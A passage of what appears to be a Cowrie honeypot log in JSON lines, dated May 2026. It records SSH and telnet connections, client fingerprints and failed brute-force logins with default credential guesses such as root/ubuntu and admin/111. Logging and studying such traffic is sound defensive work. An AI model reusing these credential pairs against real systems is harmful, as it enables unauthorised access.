essage":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:49.002679Z","src_ip":"192.109.200.237","session":"f420d35de9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:49.249157Z","src_ip":"192.109.200.237","session":"f420d35de9fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:50.396394Z","src_ip":"192.109.200.237","session":"f420d35de9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":42278,"dst_ip":"159.203.135.109","dst_port":22,"session":"84906613a91d","protocol":"ssh","message":"New connection: 103.98.149.87:42278 (159.203.135.109:22) [session: 84906613a91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:50.824854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:50.829568Z","src_ip":"103.98.149.87","session":"84906613a91d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.193.195","src_port":35324,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc44ffc190bf","protocol":"ssh","message":"New connection: 117.50.193.195:35324 (10.17.0.5:22) [session: fc44ffc190bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:50.915134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:50.918734Z","src_ip":"117.50.193.195","session":"fc44ffc190bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:51.049356Z","src_ip":"103.98.149.87","session":"84906613a91d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2s3d4f","message":"login attempt [root/1a2s3d4f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:51.740690Z","src_ip":"103.98.149.87","session":"84906613a91d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:51.874020Z","src_ip":"117.50.193.195","session":"fc44ffc190bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00400066375732,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:51.881855Z","src_ip":"46.60.48.98","session":"e162fb1d494f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47774,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b8376f84eaf","protocol":"ssh","message":"New connection: 192.109.200.237:47774 (159.203.135.109:22) [session: 6b8376f84eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:52.030415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:52.034412Z","src_ip":"192.109.200.237","session":"6b8376f84eaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:52.115839Z","src_ip":"192.109.200.237","session":"6b8376f84eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:52.362107Z","src_ip":"192.109.200.237","session":"6b8376f84eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:52.963958Z","src_ip":"103.98.149.87","session":"84906613a91d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":35450,"dst_ip":"159.203.135.109","dst_port":23,"session":"d74338f2dcd9","protocol":"telnet","message":"New connection: 46.60.48.98:35450 (159.203.135.109:23) [session: d74338f2dcd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:52.973591Z"}
{"eventid":"cowrie.session.closed","duration":120.00166773796082,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:53.126518Z","src_ip":"46.60.48.98","session":"4f424c8393af","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:53.231841Z","src_ip":"117.50.193.195","session":"fc44ffc190bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:53.445341Z","src_ip":"192.109.200.237","session":"6b8376f84eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":35802,"dst_ip":"159.203.135.109","dst_port":23,"session":"2896de8e358a","protocol":"telnet","message":"New connection: 46.60.48.98:35802 (159.203.135.109:23) [session: 2896de8e358a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:54.007936Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:54.472496Z","src_ip":"117.50.193.195","session":"fc44ffc190bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.193.195","src_port":41026,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9e3d90fc632","protocol":"ssh","message":"New connection: 117.50.193.195:41026 (10.17.0.5:22) [session: c9e3d90fc632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:54.698656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:54.703426Z","src_ip":"117.50.193.195","session":"c9e3d90fc632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47786,"dst_ip":"159.203.135.109","dst_port":22,"session":"04dc9b07aa03","protocol":"ssh","message":"New connection: 192.109.200.237:47786 (159.203.135.109:22) [session: 04dc9b07aa03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:55.129587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:55.134254Z","src_ip":"192.109.200.237","session":"04dc9b07aa03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:55.217767Z","src_ip":"192.109.200.237","session":"04dc9b07aa03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:55.224925Z","src_ip":"117.50.193.195","session":"c9e3d90fc632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:55.490130Z","src_ip":"192.109.200.237","session":"04dc9b07aa03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:55.919089Z","src_ip":"117.50.193.195","session":"c9e3d90fc632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":36110,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ece83d22852","protocol":"telnet","message":"New connection: 46.60.48.98:36110 (159.203.135.109:23) [session: 8ece83d22852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:56.388368Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:56.576066Z","src_ip":"192.109.200.237","session":"04dc9b07aa03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:57.152667Z","src_ip":"117.50.193.195","session":"c9e3d90fc632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.498610734939575,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:57.221638Z","src_ip":"152.42.224.71","session":"ac04a778ac9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00189352035522,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:57.323503Z","src_ip":"152.42.224.71","session":"3b04292eb875","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.193.195","src_port":41042,"dst_ip":"10.17.0.5","dst_port":22,"session":"fef91d793b55","protocol":"ssh","message":"New connection: 117.50.193.195:41042 (10.17.0.5:22) [session: fef91d793b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:57.380689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:57.384715Z","src_ip":"117.50.193.195","session":"fef91d793b55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:57.902381Z","src_ip":"117.50.193.195","session":"fef91d793b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47806,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f825de68e42","protocol":"ssh","message":"New connection: 192.109.200.237:47806 (159.203.135.109:22) [session: 7f825de68e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:58.288534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:58.293303Z","src_ip":"192.109.200.237","session":"7f825de68e42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:58.375510Z","src_ip":"192.109.200.237","session":"7f825de68e42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:58.595824Z","src_ip":"117.50.193.195","session":"fef91d793b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:58.620210Z","src_ip":"192.109.200.237","session":"7f825de68e42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:59.703449Z","src_ip":"192.109.200.237","session":"7f825de68e42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:00.391761Z","src_ip":"117.50.193.195","session":"fef91d793b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.193.195","src_port":41046,"dst_ip":"10.17.0.5","dst_port":22,"session":"d57aa02ee7c8","protocol":"ssh","message":"New connection: 117.50.193.195:41046 (10.17.0.5:22) [session: d57aa02ee7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:00.617379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:00.632998Z","src_ip":"117.50.193.195","session":"d57aa02ee7c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:01.147245Z","src_ip":"117.50.193.195","session":"d57aa02ee7c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43216,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a6a9eab1bf3","protocol":"ssh","message":"New connection: 192.109.200.237:43216 (159.203.135.109:22) [session: 1a6a9eab1bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:01.314078Z"}
